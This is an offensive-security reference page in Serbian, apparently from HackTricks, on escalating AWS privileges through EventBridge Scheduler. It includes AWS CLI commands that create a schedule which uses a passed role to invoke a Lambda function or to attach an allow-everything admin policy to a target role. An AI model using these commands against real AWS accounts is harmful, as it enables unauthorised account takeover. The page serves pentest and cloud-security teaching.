# AWS - EventBridge Scheduler Privesc

{{#include ../../../banners/hacktricks-training.md}}

## EventBridge Scheduler

Više informacija o EventBridge Scheduler-u u:

{{#ref}}
../aws-services/eventbridgescheduler-enum.md
{{#endref}}

### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)

Napadač sa tim dozvolama će moći da **`kreira`|`ažurira` raspored i zloupotrebi dozvole uloge rasporeda** koja je povezana sa njim da izvrši bilo koju akciju

Na primer, mogli bi da konfigurišu raspored da **pozove Lambda funkciju** koja je akcija po šablonu:
```bash
aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'
```
Pored akcija usluga sa šablonima, možete koristiti **univerzalne ciljeve** u EventBridge Scheduler-u da pozovete širok spektar API operacija za mnoge AWS usluge. Univerzalni ciljevi nude fleksibilnost da pozovete gotovo bilo koji API. Jedan primer može biti korišćenje univerzalnih ciljeva za dodavanje "**AdminAccessPolicy**", koristeći ulogu koja ima politiku "**putRolePolicy**":
```bash
aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'
```
## Reference

- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)

{{#include ../../../banners/hacktricks-training.md}}
